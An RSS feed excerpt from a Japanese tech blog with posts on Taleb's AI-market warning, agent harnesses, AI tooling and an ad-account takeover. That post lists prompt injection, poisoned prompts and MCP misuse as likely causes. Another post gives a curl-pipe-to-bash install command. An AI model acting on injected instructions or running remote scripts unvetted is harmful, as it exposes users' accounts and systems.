&amp;mdash; &lt;a href="https://x.com/goroman/status/2026066866079510751"&gt;@goroman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="タレブ氏の警告--seafair-での発言"&gt;タレブ氏の警告 &amp;mdash; SeaFair での発言&lt;/h2&gt;
&lt;p&gt;タレブ氏は 2026 年 2 月、マイアミで開催された Universa Investments 主催の SeaFair イベントで発言しました。主要な論点は以下の通りです。&lt;/p&gt;
&lt;h3 id="テールリスクの構造的過小評価"&gt;テールリスクの構造的過小評価&lt;/h3&gt;
&lt;p&gt;タレブ氏は「セクター全体にわたるテールリスクは構造的に過小評価されている」と指摘しました。市場が構造的リスクを過小評価する一方で、現在の AI 分野の主導企業の持続力を過大評価しているという見方です。&lt;/p&gt;
&lt;p&gt;「リスクは小幅な調整ではない。大幅な下落だ」とタレブ氏は語っています。&lt;/p&gt;
&lt;h3 id="ソフトウェア業界の破綻リスク"&gt;ソフトウェア業界の破綻リスク&lt;/h3&gt;
&lt;p&gt;「AI で大きな利益を得る企業は出てくる」としながらも、それが現在の AI 相場を構成する企業である保証はないと指摘しました。技術の不安定さ、激しい競争、地政学の変化が業界構造を塗り替える中で、ソフトウェア分野の一部で破綻が起きる可能性が高いとの見方を示しています。&lt;/p&gt;
&lt;p&gt;歴史を振り返れば、初期の先駆者が後に取って代わられる例は少なくありません。タレブ氏は「過去数年間の市場リーダーの利益の多くは、次の勝者が出現するにつれて消し去られるだろう」と予測しています。&lt;/p&gt;
&lt;h3 id="ai-相場の集中リスク"&gt;AI 相場の集中リスク&lt;/h3&gt;
&lt;p&gt;ここ数年の株高は、AI 関連の限られた銘柄群がけん引してきました。この集中は、主導銘柄が入れ替わった場合に指数全体を脆弱にします。タレブ氏の警告は、ナスダックの「マグニフィセント・セブン」への集中度合いを考えると、より現実味を帯びます。&lt;/p&gt;
&lt;h2 id="ブラックスワンと反脆弱性--タレブ理論の背景"&gt;ブラック・スワンと反脆弱性 &amp;mdash; タレブ理論の背景&lt;/h2&gt;
&lt;p&gt;タレブ氏の警告を理解するには、彼の理論的枠組みを知ることが重要です。&lt;/p&gt;
&lt;h3 id="ブラックスワン理論"&gt;ブラック・スワン理論&lt;/h3&gt;
&lt;p&gt;「ブラック・スワン」とは、事前にほとんど予想できず、発生した場合の衝撃が極めて大きい事象を指します。タレブ氏が 2006 年に刊行した同名の著書で提唱した概念です。特徴は以下の 3 つです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;予測困難性&lt;/strong&gt;: 通常の予測の範囲外にある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;甚大な影響&lt;/strong&gt;: 発生した場合の衝撃が計り知れない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事後的な説明可能性&lt;/strong&gt;: 発生後には「予測可能だった」と後付けで説明される&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="反脆弱性アンチフラジャイル"&gt;反脆弱性（アンチフラジャイル）&lt;/h3&gt;
&lt;p&gt;タレブ氏の後続作品『反脆弱性』で提唱された概念です。「頑健」が衝撃に耐えることを意味するのに対し、「反脆弱」はショックを受けることでかえって強化される性質を指します。変動性やランダム性にさらされると成長・繁栄するシステムです。&lt;/p&gt;
&lt;p&gt;これは現在のソフトウェア業界への示唆にも繋がります。AI の台頭という衝撃に対して、壊れる企業（脆弱）と適応する企業（反脆弱）に分かれるというのが、タレブ的な見方です。&lt;/p&gt;
&lt;h3 id="テールリスクヘッジ"&gt;テールリスク・ヘッジ&lt;/h3&gt;
&lt;p&gt;タレブ氏は「常にヘッジが必要だ」と述べています。彼がアドバイザーを務める Universa Investments は、テールリスク・ヘッジ戦略を専門とするファンドです。市場危機時に不均衡に利益を得る設計になっており、昨年は投下資本に対して年平均 100% 超のリターンを達成しました。&lt;/p&gt;
&lt;h2 id="市場データが示す兆候"&gt;市場データが示す兆候&lt;/h2&gt;
&lt;p&gt;タレブ氏の発言は、直近の市場データにも裏付けられています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;数値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;S&amp;amp;P 500（2 月 23 日）&lt;/td&gt;
&lt;td&gt;約 1% 下落&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;金価格（2025 年 10 月〜）&lt;/td&gt;
&lt;td&gt;約 30% 上昇&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Universa のリターン（2025 年）&lt;/td&gt;
&lt;td&gt;年平均 100% 超&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;金価格の上昇は、株式市場の不安定さと地政学的緊張の高まりに対する逃避先として金が選好されていることを示しています。&lt;/p&gt;</description></item><item><title>AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%9D%E8%B2%A0%E6%89%80%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E6%80%A7%E8%83%BD%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88%E3%81%AB%E3%81%82%E3%82%8B/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%8B%9D%E8%B2%A0%E6%89%80%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E6%80%A7%E8%83%BD%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88%E3%81%AB%E3%81%82%E3%82%8B/</guid><description>&lt;h1 id="aiエージェントの勝負所はモデル性能ではなくハーネス設計にある"&gt;AIエージェントの勝負所は「モデル性能」ではなく「ハーネス設計」にある&lt;/h1&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2026年に入り、AIエージェント開発の世界で急速に広まっている概念がある。&lt;strong&gt;「Agent Harness（エージェント・ハーネス）」&lt;/strong&gt; だ。&lt;/p&gt;
&lt;p&gt;LLMの性能は日々向上し、Claude Opus 4.6、GPT-5、Gemini 2.5 Pro といったモデルが次々とリリースされている。しかし、現場のエンジニアたちは気づき始めている——&lt;strong&gt;同じモデルを使っていても、エージェントの体感品質はまるで別物になる&lt;/strong&gt;ということに。その差を生むのがモデルの「外側」にある仕組み、すなわちAgent Harnessである。&lt;/p&gt;
&lt;p&gt;この記事では、&lt;a href="https://www.philschmid.de/agent-harness-2026"&gt;Philipp Schmid&lt;/a&gt;のAgent Harness論、&lt;a href="https://hugobowne.substack.com/p/ai-agent-harness-3-principles-for"&gt;Lance Martin&lt;/a&gt;のContext Engineering解説、そして&lt;a href="https://rlancemartin.github.io/2025/10/15/manus/"&gt;Manus&lt;/a&gt;の実装例を手がかりに、エージェント開発の新しいパラダイムを整理する。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="agent-harnessaiエージェントllm-の関係"&gt;Agent Harness・AIエージェント・LLM の関係&lt;/h2&gt;
&lt;p&gt;まず、3つの概念の関係を整理する。混乱しやすいのは、これらが&lt;strong&gt;入れ子構造&lt;/strong&gt;になっているからだ。&lt;/p&gt;
&lt;h3 id="レイヤー構造"&gt;レイヤー構造&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph TB
subgraph UserLayer[&amp;#34;ユーザー&amp;#34;]
U[&amp;#34;指示を出す / 結果を受け取る&amp;#34;]
end
subgraph AgentLayer[&amp;#34;AIエージェント = アプリケーション層&amp;#34;]
A1[&amp;#34;ユーザー固有のロジック・目的&amp;#34;]
A2[&amp;#34;例: コードアシスタント、リサーチエージェント、カスタマーサポートBot&amp;#34;]
end
subgraph HarnessLayer[&amp;#34;Agent Harness = OS層&amp;#34;]
H1[&amp;#34;コンテキスト管理 / ツール実行 / 権限制御&amp;#34;]
H2[&amp;#34;メモリ管理 / 再試行 / フォールバック / 承認ポイント&amp;#34;]
end
subgraph LLMLayer[&amp;#34;LLM = CPU層&amp;#34;]
L1[&amp;#34;言語理解・推論・生成&amp;#34;]
L2[&amp;#34;例: Claude Opus 4.6, GPT-5, Gemini&amp;#34;]
end
UserLayer --&amp;gt; AgentLayer
AgentLayer --&amp;gt; HarnessLayer
HarnessLayer --&amp;gt; LLMLayer
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Philipp Schmidのコンピュータの比喩を使うと：&lt;/p&gt;</description></item><item><title>AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E5%B0%8E%E5%85%A5%E3%81%A7mcc%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E8%A2%AB%E5%AE%B3-antigravityclaude-code%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%82%B7%E3%83%A3%E3%83%89%E3%83%BCai%E5%AF%BE%E7%AD%96/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E5%B0%8E%E5%85%A5%E3%81%A7mcc%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E8%A2%AB%E5%AE%B3-antigravityclaude-code%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7%E3%81%A8%E3%82%B7%E3%83%A3%E3%83%89%E3%83%BCai%E5%AF%BE%E7%AD%96/</guid><description>&lt;h1 id="aiコーディングツール導入でmcc乗っ取り被害--antigravityclaude-codeの脆弱性とシャドーai対策"&gt;AIコーディングツール導入でMCC乗っ取り被害 — Antigravity・Claude Codeの脆弱性とシャドーAI対策&lt;/h1&gt;
&lt;p&gt;広告運用の現場に衝撃が走っています。&lt;a href="https://x.com/hassii_ad/status/2028399491565633731"&gt;広告の裏側(@hassii_ad)氏のポスト&lt;/a&gt;によると、ある代理店がAIコンサルの支援で Claude Code と Google Antigravity を導入した結果、Google Ads の MCC（マネージャークライアントセンター）アカウントが乗っ取られ、&lt;strong&gt;被害額は8桁後半&lt;/strong&gt;に達したとのことです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;知り合いの代理店がとあるAI導入したらMCCが乗っ取られて桁違いの損害でてて震えた。こういうのこれから増えそうですね。
— 広告の裏側(@hassii_ad) 2026年2月17日&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この事態を受けて、&lt;a href="https://x.com/ADHDHSP249834/status/2028449740762103820"&gt;まな(@ADHDHSP249834)氏&lt;/a&gt;は「AIコンサルがClaude CodeとAntigravityの導入を進めたんですかね？その時点で大問題です」と指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;基本は3大LLMとCopilot程度に止めるべきです。またシャドーAI対策を進めていなかったことも想定されますね。セキュリティ対策をせずに、ローカルファイルにアクセスできるAIツールを導入するのはNGです！
— まな(@ADHDHSP249834)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="mcc乗っ取りの推定原因"&gt;MCC乗っ取りの推定原因&lt;/h2&gt;
&lt;p&gt;@hassii_ad 氏は乗っ取りの原因として4つの可能性を挙げています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;th&gt;概要&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;悪意あるWebサイト指示&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;プロンプトインジェクションによりAIの動作を乗っ取る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;配布プロンプトへの悪意ある指示混入&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIコンサルまたは社員が使用したプロンプトに仕込まれた攻撃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCPツールの悪用&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Model Context Protocol ツールを経由した不正操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;トークン流出&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自動化過程でAPIトークンや認証情報が漏洩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;特に深刻なのは、MCCが&lt;strong&gt;正規の権限で操作された&lt;/strong&gt;場合、通常の操作と区別がつかず「補償は絶望的」という点です。Google Ads の MCC アカウントは複数の広告アカウントを一元管理する仕組みのため、一度乗っ取られると被害が連鎖的に広がります。&lt;/p&gt;
&lt;h2 id="google-ads-のセーフガードはなぜ機能しなかったのか"&gt;Google Ads のセーフガードはなぜ機能しなかったのか&lt;/h2&gt;
&lt;p&gt;Google Ads には予算制限やセキュリティ機能が存在しますが、&lt;strong&gt;正規権限で操作された場合にはほとんど機能しません&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="既存のセーフガード一覧"&gt;既存のセーフガード一覧&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;乗っ取り時に有効か&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;日予算の上限&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1日の費用は&lt;a href="https://support.google.com/google-ads/answer/2375423?hl=ja"&gt;日予算の2倍まで&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;攻撃者が日予算自体を変更可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;月間費用上限&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;月間費用は日予算 x 30.4 まで&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://support.google.com/google-ads/answer/7054229?hl=en"&gt;アカウント予算&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アカウント全体の費用上限を設定可能。上限到達で全広告停止&lt;/td&gt;
&lt;td&gt;攻撃者が上限を変更・解除可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;異常な予算変更の確認&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;大幅な予算変更時（例: $100→$1,000）に確認ダイアログ表示&lt;/td&gt;
&lt;td&gt;UI操作のみ。API経由なら確認なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;a href="https://support.google.com/google-ads/answer/12795729?hl=en"&gt;不審なアクティビティの検知&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Google が異常を検知すると一時的な日次支出制限を適用&lt;/td&gt;
&lt;td&gt;「正規権限」の操作は異常と判定されにくい&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;自動ルール&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;一定額到達でキャンペーンを一時停止するルール設定が可能&lt;/td&gt;
&lt;td&gt;攻撃者がルール自体を削除可能&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="セーフガードが無力化される理由"&gt;セーフガードが無力化される理由&lt;/h3&gt;
&lt;p&gt;今回の事件の核心は、攻撃者が MCC の&lt;strong&gt;正規の管理者権限&lt;/strong&gt;を取得している点です。&lt;/p&gt;</description></item><item><title>Backlog 問い合わせ課題を Claude で自動分析してコメント投稿する構成（Webhook + Lambda + Bedrock）</title><link>https://hdknr.github.io/blogs/posts/2026/03/backlog-%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B%E8%AA%B2%E9%A1%8C%E3%82%92-claude-%E3%81%A7%E8%87%AA%E5%8B%95%E5%88%86%E6%9E%90%E3%81%97%E3%81%A6%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88%E6%8A%95%E7%A8%BF%E3%81%99%E3%82%8B%E6%A7%8B%E6%88%90webhook--lambda--bedrock/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/backlog-%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B%E8%AA%B2%E9%A1%8C%E3%82%92-claude-%E3%81%A7%E8%87%AA%E5%8B%95%E5%88%86%E6%9E%90%E3%81%97%E3%81%A6%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88%E6%8A%95%E7%A8%BF%E3%81%99%E3%82%8B%E6%A7%8B%E6%88%90webhook--lambda--bedrock/</guid><description>&lt;h1 id="backlog-問い合わせ課題を-claude-で自動分析してコメント投稿する構成"&gt;Backlog 問い合わせ課題を Claude で自動分析してコメント投稿する構成&lt;/h1&gt;
&lt;p&gt;Backlog を問い合わせ管理に使っていると、課題が登録されるたびに内容を確認し、分類や初期対応を行う作業が発生します。この作業を Claude に任せ、&lt;strong&gt;課題が追加された瞬間に自動で分析コメントを投稿&lt;/strong&gt;する仕組みを構築します。&lt;/p&gt;
&lt;h2 id="全体構成"&gt;全体構成&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;┌──────────┐ Webhook ┌─────────────┐ invoke ┌──────────┐
│ Backlog │ ──── JSON ────→ │ API Gateway │ ────────────→ │ Lambda │
│ (課題追加) │ │ │ │ (受信) │
└──────────┘ └─────────────┘ └────┬─────┘
│
SQS enqueue
│
▼
┌──────────┐ コメント投稿 ┌─────────────┐ Claude API ┌──────────┐
│ Backlog │ ◀── POST ────── │ Lambda │ ◀──────────── │ Amazon │
│ (課題) │ │ (処理) │ │ Bedrock │
└──────────┘ └─────────────┘ └──────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="なぜ-2-段構成lambda--sqsなのか"&gt;なぜ 2 段構成（Lambda + SQS）なのか&lt;/h3&gt;
&lt;p&gt;Backlog の Webhook は &lt;strong&gt;10 秒以内に HTTP 200 を返さないとタイムアウト&lt;/strong&gt;し、失敗として再送を繰り返します。Claude の分析には数十秒かかるため、受信 Lambda は即座に 200 を返し、&lt;strong&gt;SQS を介して処理 Lambda に非同期で委譲&lt;/strong&gt;します。&lt;/p&gt;</description></item><item><title>Claude Ads で広告運用を186項目自動監査 --- Claude Code スキルが広告代理店の仕事を奪い始めた</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-ads-%E3%81%A7%E5%BA%83%E5%91%8A%E9%81%8B%E7%94%A8%E3%82%92186%E9%A0%85%E7%9B%AE%E8%87%AA%E5%8B%95%E7%9B%A3%E6%9F%BB---claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E5%BA%83%E5%91%8A%E4%BB%A3%E7%90%86%E5%BA%97%E3%81%AE%E4%BB%95%E4%BA%8B%E3%82%92%E5%A5%AA%E3%81%84%E5%A7%8B%E3%82%81%E3%81%9F/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-ads-%E3%81%A7%E5%BA%83%E5%91%8A%E9%81%8B%E7%94%A8%E3%82%92186%E9%A0%85%E7%9B%AE%E8%87%AA%E5%8B%95%E7%9B%A3%E6%9F%BB---claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E5%BA%83%E5%91%8A%E4%BB%A3%E7%90%86%E5%BA%97%E3%81%AE%E4%BB%95%E4%BA%8B%E3%82%92%E5%A5%AA%E3%81%84%E5%A7%8B%E3%82%81%E3%81%9F/</guid><description>&lt;p&gt;Claude Ads で広告運用を186項目自動監査 &amp;mdash; Claude Code スキルが広告代理店の仕事を奪い始めた&lt;/p&gt;
&lt;h1 id="claude-ads-で広告運用を186項目自動監査--claude-code-スキルが広告代理店の仕事を奪い始めた"&gt;Claude Ads で広告運用を186項目自動監査 &amp;mdash; Claude Code スキルが広告代理店の仕事を奪い始めた&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ratekomaru/status/2028427050416218376"&gt;@ratekomaru 氏が X で紹介&lt;/a&gt;した「Claude Ads」が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claudeやばすぎだろwwww ピンポイントで業界潰して回ってる。無料でGoogle・Meta・YouTube・LinkedIn・TikTok・Microsoft Adsなど186項目にわたるチェック機能を備えたClaude Code向けの包括的な有料広告監査・最適化スキル「Claude Ads」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;12 万超のインプレッション、1,700 以上のいいねという反響は、「AI が広告運用の専門職を代替する」という予感を多くの人が共有している証拠でしょう。本記事では Claude Ads の仕組みを掘り下げつつ、広告業界に起きている構造変化を整理します。&lt;/p&gt;
&lt;h2 id="claude-ads-とは何か"&gt;Claude Ads とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/AgriciDaniel/claude-ads"&gt;Claude Ads&lt;/a&gt; は、Claude Code 向けに作られたオープンソースの広告監査・最適化スキルです。MIT ライセンスで公開されており、インストールは1コマンドで完了します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-ads/main/install.sh | bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;主な特徴は以下の通りです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;対応プラットフォーム&lt;/td&gt;
&lt;td&gt;Google Ads, Meta Ads, YouTube Ads, LinkedIn Ads, TikTok Ads, Microsoft Ads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;チェック項目数&lt;/td&gt;
&lt;td&gt;190（Google 74, Meta 46, LinkedIn 25, TikTok 25, Microsoft 20）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;業種テンプレート&lt;/td&gt;
&lt;td&gt;SaaS, EC, ローカルサービス, B2B, モバイルアプリ, 不動産, ヘルスケア, 金融など 11 種&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;並列実行&lt;/td&gt;
&lt;td&gt;6 つのサブエージェントが同時にプラットフォーム別監査を実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ライセンス&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="アーキテクチャ--サブエージェント並列実行"&gt;アーキテクチャ &amp;mdash; サブエージェント並列実行&lt;/h2&gt;
&lt;p&gt;Claude Ads の設計はシンプルですが効果的です。&lt;/p&gt;</description></item><item><title>Claude Code から Nano Banana 2 を呼ぶ — クロスモデル Skills 活用術</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8B%E3%82%89-nano-banana-2-%E3%82%92%E5%91%BC%E3%81%B6-%E3%82%AF%E3%83%AD%E3%82%B9%E3%83%A2%E3%83%87%E3%83%AB-skills-%E6%B4%BB%E7%94%A8%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%8B%E3%82%89-nano-banana-2-%E3%82%92%E5%91%BC%E3%81%B6-%E3%82%AF%E3%83%AD%E3%82%B9%E3%83%A2%E3%83%87%E3%83%AB-skills-%E6%B4%BB%E7%94%A8%E8%A1%93/</guid><description>&lt;h1 id="claude-code-から-nano-banana-2-を呼ぶ--クロスモデル-skills-活用術"&gt;Claude Code から Nano Banana 2 を呼ぶ — クロスモデル Skills 活用術&lt;/h1&gt;
&lt;p&gt;鹿野 壮さん（&lt;a href="https://x.com/tonkotsuboy_com"&gt;@tonkotsuboy_com&lt;/a&gt;）が、Claude Code から Gemini の画像生成モデル「Nano Banana 2」を直接呼び出せるスキルを紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nano banana 2をClaude Codeから呼び出せるスキルを見つけた、すごくいい
Nano bananaのためだけに毎回Geminiアプリを立ち上げる手間が省ける。画像参照とか複雑な命令をしたり、複数枚同時に作れるの便利すぎるブヒィ&lt;/p&gt;
&lt;p&gt;— &lt;a href="https://x.com/tonkotsuboy_com/status/2027988801092714803"&gt;鹿野 壮 (@tonkotsuboy_com)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;投稿にはいいね 232、ブックマーク 301 と反響が大きく、「AI コーディングツールから別の AI モデルを呼ぶ」というクロスモデル連携への関心の高さがうかがえます。&lt;/p&gt;
&lt;h2 id="nano-banana-2-とは何か"&gt;Nano Banana 2 とは何か&lt;/h2&gt;
&lt;p&gt;Nano Banana 2 は、Google DeepMind が 2026 年 2 月 26 日に発表した画像生成モデルです。正式な技術名称は &lt;strong&gt;Gemini 3.1 Flash Image&lt;/strong&gt; で、「Nano Banana」は Gemini のネイティブ画像生成機能のブランド名として使われています。&lt;/p&gt;
&lt;p&gt;Nano Banana ファミリーには 3 つのモデルがあります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モデル&lt;/th&gt;
&lt;th&gt;技術名&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nano Banana 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gemini 3.1 Flash Image&lt;/td&gt;
&lt;td&gt;高速・高コスパ。Flash ベースで大量生成向き&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nano Banana Pro&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gemini 3 Pro Image&lt;/td&gt;
&lt;td&gt;最高品質。プロフェッショナル制作向け&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nano Banana&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gemini 2.5 Flash Image&lt;/td&gt;
&lt;td&gt;初代。低遅延タスク向け&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Nano Banana 2 の主な機能は以下の通りです。&lt;/p&gt;</description></item><item><title>Claude Code スキルで AI ワークフローを自動化する — Ralph Loop + YAML 宣言的定義の実践</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%A7-ai-%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B-ralph-loop--yaml-%E5%AE%A3%E8%A8%80%E7%9A%84%E5%AE%9A%E7%BE%A9%E3%81%AE%E5%AE%9F%E8%B7%B5/</link><pubDate>Mon, 02 Mar 2026 00:00:00 